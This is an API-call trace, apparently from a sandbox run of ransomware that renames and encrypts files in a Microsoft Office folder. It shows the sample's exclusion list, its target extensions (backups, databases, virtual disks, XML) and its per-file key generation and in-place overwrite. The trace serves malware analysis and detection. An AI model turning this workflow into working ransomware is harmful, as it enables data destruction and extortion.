	[0069.354] lstrlenW (lpString="mdf") returned 3
	[0069.354] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.354] lstrlenW (lpString="mdb") returned 3
	[0069.354] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.354] lstrlenW (lpString="sql") returned 3
	[0069.354] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.354] lstrlenW (lpString="sqlite") returned 6
	[0069.354] lstrcmpiW (lpString1="22.XML", lpString2="sqlite") returned -1
	[0069.354] lstrlenW (lpString="sqlite3") returned 7
	[0069.354] lstrcmpiW (lpString1="022.XML", lpString2="sqlite3") returned -1
	[0069.354] lstrlenW (lpString="sqlitedb") returned 8
	[0069.354] lstrcmpiW (lpString1="N022.XML", lpString2="sqlitedb") returned -1
	[0069.354] lstrlenW (lpString="xml") returned 3
	[0069.354] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.354] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN022.XML.Apollon865") returned 74
	[0069.354] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN022.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn022.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN022.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn022.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN022.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn022.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.355] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=92116) returned 1
	[0069.355] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.355] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.356] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.356] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.356] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.356] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.357] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x16ae0, lpName=0x0) returned 0x118
	[0069.358] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x16ae0) returned 0x120000
	[0069.363] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.364] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.364] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.364] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.364] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.364] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.364] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.365] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.365] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0069.365] CloseHandle (hObject=0x118) returned 1
	[0069.365] CloseHandle (hObject=0x15c) returned 1
	[0069.366] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.366] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.366] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.366] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x632f2e00, ftCreationTime.dwHighDateTime=0x1c66206, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x632f2e00, ftLastWriteTime.dwHighDateTime=0x1c66206, nFileSizeHigh=0x0, nFileSizeLow=0x21be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGMN026.XML", cAlternateFileName="")) returned 1
	[0069.366] lstrcmpiW (lpString1="PGMN026.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.366] lstrcmpiW (lpString1="PGMN026.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.366] lstrcmpiW (lpString1="PGMN026.XML", lpString2=".") returned 1
	[0069.366] lstrcmpiW (lpString1="PGMN026.XML", lpString2="..") returned 1
	[0069.366] lstrcmpiW (lpString1="PGMN026.XML", lpString2="windows") returned -1
	[0069.366] lstrcmpiW (lpString1="PGMN026.XML", lpString2="bootmgr") returned 1
	[0069.366] lstrcmpiW (lpString1="PGMN026.XML", lpString2="temp") returned -1
	[0069.366] lstrcmpiW (lpString1="PGMN026.XML", lpString2="pagefile.sys") returned 1
	[0069.366] lstrcmpiW (lpString1="PGMN026.XML", lpString2="boot") returned 1
	[0069.366] lstrcmpiW (lpString1="PGMN026.XML", lpString2="ids.txt") returned 1
	[0069.366] lstrcmpiW (lpString1="PGMN026.XML", lpString2="ntuser.dat") returned 1
	[0069.366] lstrcmpiW (lpString1="PGMN026.XML", lpString2="perflogs") returned 1
	[0069.367] lstrcmpiW (lpString1="PGMN026.XML", lpString2="MSBuild") returned 1
	[0069.367] lstrlenW (lpString="PGMN026.XML") returned 11
	[0069.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN022.XML") returned 63
	[0069.367] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN026.XML" | out: lpString1="PGMN026.XML") returned="PGMN026.XML"
	[0069.367] lstrlenW (lpString="PGMN026.XML") returned 11
	[0069.367] lstrlenW (lpString="Apollon865") returned 10
	[0069.367] lstrcmpiW (lpString1="GMN026.XML", lpString2="Apollon865") returned 1
	[0069.367] lstrlenW (lpString=".dll") returned 4
	[0069.367] lstrcmpiW (lpString1="PGMN026.XML", lpString2=".dll") returned 1
	[0069.367] lstrlenW (lpString=".lnk") returned 4
	[0069.367] lstrcmpiW (lpString1="PGMN026.XML", lpString2=".lnk") returned 1
	[0069.367] lstrlenW (lpString=".ini") returned 4
	[0069.367] lstrcmpiW (lpString1="PGMN026.XML", lpString2=".ini") returned 1
	[0069.367] lstrlenW (lpString=".sys") returned 4
	[0069.367] lstrcmpiW (lpString1="PGMN026.XML", lpString2=".sys") returned 1
	[0069.367] lstrlenW (lpString="PGMN026.XML") returned 11
	[0069.367] lstrlenW (lpString="bak") returned 3
	[0069.367] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.367] lstrlenW (lpString="ba_") returned 3
	[0069.367] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.367] lstrlenW (lpString="dbb") returned 3
	[0069.367] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.367] lstrlenW (lpString="vmdk") returned 4
	[0069.367] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.367] lstrlenW (lpString="rar") returned 3
	[0069.367] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.367] lstrlenW (lpString="zip") returned 3
	[0069.367] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.367] lstrlenW (lpString="tgz") returned 3
	[0069.367] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.367] lstrlenW (lpString="vbox") returned 4
	[0069.367] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.367] lstrlenW (lpString="vdi") returned 3
	[0069.367] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.367] lstrlenW (lpString="vhd") returned 3
	[0069.367] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.367] lstrlenW (lpString="vhdx") returned 4
	[0069.367] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.367] lstrlenW (lpString="avhd") returned 4
	[0069.368] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.368] lstrlenW (lpString="db") returned 2
	[0069.368] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.368] lstrlenW (lpString="db2") returned 3
	[0069.368] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.368] lstrlenW (lpString="db3") returned 3
	[0069.368] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.368] lstrlenW (lpString="dbf") returned 3
	[0069.368] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.368] lstrlenW (lpString="mdf") returned 3
	[0069.368] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.368] lstrlenW (lpString="mdb") returned 3
	[0069.368] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.368] lstrlenW (lpString="sql") returned 3
	[0069.368] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.368] lstrlenW (lpString="sqlite") returned 6
	[0069.368] lstrcmpiW (lpString1="26.XML", lpString2="sqlite") returned -1
	[0069.368] lstrlenW (lpString="sqlite3") returned 7
	[0069.368] lstrcmpiW (lpString1="026.XML", lpString2="sqlite3") returned -1
	[0069.368] lstrlenW (lpString="sqlitedb") returned 8
	[0069.368] lstrcmpiW (lpString1="N026.XML", lpString2="sqlitedb") returned -1
	[0069.368] lstrlenW (lpString="xml") returned 3
	[0069.368] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.368] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN026.XML.Apollon865") returned 74
	[0069.368] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN026.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn026.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN026.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn026.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN026.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn026.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.369] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=8638) returned 1
	[0069.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.369] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.369] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.370] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.370] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.370] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24c0, lpName=0x0) returned 0x118
	[0069.373] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24c0) returned 0x100000
	[0069.375] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.376] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.376] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.376] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.377] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0069.377] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.377] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0069.377] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.377] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.377] CloseHandle (hObject=0x118) returned 1
	[0069.377] CloseHandle (hObject=0x15c) returned 1
	[0069.377] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.377] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.377] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.378] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54389200, ftCreationTime.dwHighDateTime=0x1c9f606, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54389200, ftLastWriteTime.dwHighDateTime=0x1c9f606, nFileSizeHigh=0x0, nFileSizeLow=0x5e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGMN027.XML", cAlternateFileName="")) returned 1
	[0069.378] lstrcmpiW (lpString1="PGMN027.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.378] lstrcmpiW (lpString1="PGMN027.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.378] lstrcmpiW (lpString1="PGMN027.XML", lpString2=".") returned 1
	[0069.378] lstrcmpiW (lpString1="PGMN027.XML", lpString2="..") returned 1
	[0069.378] lstrcmpiW (lpString1="PGMN027.XML", lpString2="windows") returned -1
	[0069.378] lstrcmpiW (lpString1="PGMN027.XML", lpString2="bootmgr") returned 1
	[0069.378] lstrcmpiW (lpString1="PGMN027.XML", lpString2="temp") returned -1
	[0069.378] lstrcmpiW (lpString1="PGMN027.XML", lpString2="pagefile.sys") returned 1
	[0069.378] lstrcmpiW (lpString1="PGMN027.XML", lpString2="boot") returned 1
	[0069.378] lstrcmpiW (lpString1="PGMN027.XML", lpString2="ids.txt") returned 1
	[0069.378] lstrcmpiW (lpString1="PGMN027.XML", lpString2="ntuser.dat") returned 1
	[0069.378] lstrcmpiW (lpString1="PGMN027.XML", lpString2="perflogs") returned 1
	[0069.378] lstrcmpiW (lpString1="PGMN027.XML", lpString2="MSBuild") returned 1
	[0069.378] lstrlenW (lpString="PGMN027.XML") returned 11
	[0069.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN026.XML") returned 63
	[0069.378] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN027.XML" | out: lpString1="PGMN027.XML") returned="PGMN027.XML"
	[0069.378] lstrlenW (lpString="PGMN027.XML") returned 11
	[0069.378] lstrlenW (lpString="Apollon865") returned 10
	[0069.378] lstrcmpiW (lpString1="GMN027.XML", lpString2="Apollon865") returned 1
	[0069.378] lstrlenW (lpString=".dll") returned 4
	[0069.378] lstrcmpiW (lpString1="PGMN027.XML", lpString2=".dll") returned 1
	[0069.378] lstrlenW (lpString=".lnk") returned 4
	[0069.378] lstrcmpiW (lpString1="PGMN027.XML", lpString2=".lnk") returned 1
	[0069.378] lstrlenW (lpString=".ini") returned 4
	[0069.378] lstrcmpiW (lpString1="PGMN027.XML", lpString2=".ini") returned 1
	[0069.378] lstrlenW (lpString=".sys") returned 4
	[0069.378] lstrcmpiW (lpString1="PGMN027.XML", lpString2=".sys") returned 1
	[0069.378] lstrlenW (lpString="PGMN027.XML") returned 11
	[0069.378] lstrlenW (lpString="bak") returned 3
	[0069.378] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.378] lstrlenW (lpString="ba_") returned 3
	[0069.378] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.378] lstrlenW (lpString="dbb") returned 3
	[0069.378] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.378] lstrlenW (lpString="vmdk") returned 4
	[0069.378] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.379] lstrlenW (lpString="rar") returned 3
	[0069.379] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.379] lstrlenW (lpString="zip") returned 3
	[0069.379] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.379] lstrlenW (lpString="tgz") returned 3
	[0069.379] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.379] lstrlenW (lpString="vbox") returned 4
	[0069.379] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.379] lstrlenW (lpString="vdi") returned 3
	[0069.379] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.379] lstrlenW (lpString="vhd") returned 3
	[0069.379] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.379] lstrlenW (lpString="vhdx") returned 4
	[0069.379] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.379] lstrlenW (lpString="avhd") returned 4
	[0069.379] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.379] lstrlenW (lpString="db") returned 2
	[0069.379] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.379] lstrlenW (lpString="db2") returned 3
	[0069.379] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.379] lstrlenW (lpString="db3") returned 3
	[0069.379] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.379] lstrlenW (lpString="dbf") returned 3
	[0069.379] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.379] lstrlenW (lpString="mdf") returned 3
	[0069.379] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.379] lstrlenW (lpString="mdb") returned 3
	[0069.379] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.379] lstrlenW (lpString="sql") returned 3
	[0069.379] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.379] lstrlenW (lpString="sqlite") returned 6
	[0069.379] lstrcmpiW (lpString1="27.XML", lpString2="sqlite") returned -1
	[0069.379] lstrlenW (lpString="sqlite3") returned 7
	[0069.379] lstrcmpiW (lpString1="027.XML", lpString2="sqlite3") returned -1
	[0069.379] lstrlenW (lpString="sqlitedb") returned 8
	[0069.379] lstrcmpiW (lpString1="N027.XML", lpString2="sqlitedb") returned -1
	[0069.379] lstrlenW (lpString="xml") returned 3
	[0069.379] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.380] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN027.XML.Apollon865") returned 74
	[0069.380] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN027.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn027.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN027.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn027.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN027.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn027.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.380] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1506) returned 1
	[0069.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.381] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.381] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.382] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.382] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8f0, lpName=0x0) returned 0x118
	[0069.383] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8f0) returned 0x100000
	[0069.384] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.385] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.385] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.385] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.385] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.385] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0069.385] CloseHandle (hObject=0x118) returned 1
	[0069.386] CloseHandle (hObject=0x15c) returned 1
	[0069.386] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.386] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.386] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.386] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60487100, ftCreationTime.dwHighDateTime=0x1c9e332, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60487100, ftLastWriteTime.dwHighDateTime=0x1c9e332, nFileSizeHigh=0x0, nFileSizeLow=0x1412, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGMN044.XML", cAlternateFileName="")) returned 1
	[0069.386] lstrcmpiW (lpString1="PGMN044.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.386] lstrcmpiW (lpString1="PGMN044.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.386] lstrcmpiW (lpString1="PGMN044.XML", lpString2=".") returned 1
	[0069.386] lstrcmpiW (lpString1="PGMN044.XML", lpString2="..") returned 1
	[0069.386] lstrcmpiW (lpString1="PGMN044.XML", lpString2="windows") returned -1
	[0069.386] lstrcmpiW (lpString1="PGMN044.XML", lpString2="bootmgr") returned 1
	[0069.386] lstrcmpiW (lpString1="PGMN044.XML", lpString2="temp") returned -1
	[0069.386] lstrcmpiW (lpString1="PGMN044.XML", lpString2="pagefile.sys") returned 1
	[0069.386] lstrcmpiW (lpString1="PGMN044.XML", lpString2="boot") returned 1
	[0069.386] lstrcmpiW (lpString1="PGMN044.XML", lpString2="ids.txt") returned 1
	[0069.386] lstrcmpiW (lpString1="PGMN044.XML", lpString2="ntuser.dat") returned 1
	[0069.386] lstrcmpiW (lpString1="PGMN044.XML", lpString2="perflogs") returned 1
	[0069.386] lstrcmpiW (lpString1="PGMN044.XML", lpString2="MSBuild") returned 1
	[0069.386] lstrlenW (lpString="PGMN044.XML") returned 11
	[0069.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN027.XML") returned 63
	[0069.386] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN044.XML" | out: lpString1="PGMN044.XML") returned="PGMN044.XML"
	[0069.386] lstrlenW (lpString="PGMN044.XML") returned 11
	[0069.386] lstrlenW (lpString="Apollon865") returned 10
	[0069.386] lstrcmpiW (lpString1="GMN044.XML", lpString2="Apollon865") returned 1
	[0069.386] lstrlenW (lpString=".dll") returned 4
	[0069.386] lstrcmpiW (lpString1="PGMN044.XML", lpString2=".dll") returned 1
	[0069.386] lstrlenW (lpString=".lnk") returned 4
	[0069.386] lstrcmpiW (lpString1="PGMN044.XML", lpString2=".lnk") returned 1
	[0069.386] lstrlenW (lpString=".ini") returned 4
	[0069.387] lstrcmpiW (lpString1="PGMN044.XML", lpString2=".ini") returned 1
	[0069.387] lstrlenW (lpString=".sys") returned 4
	[0069.387] lstrcmpiW (lpString1="PGMN044.XML", lpString2=".sys") returned 1
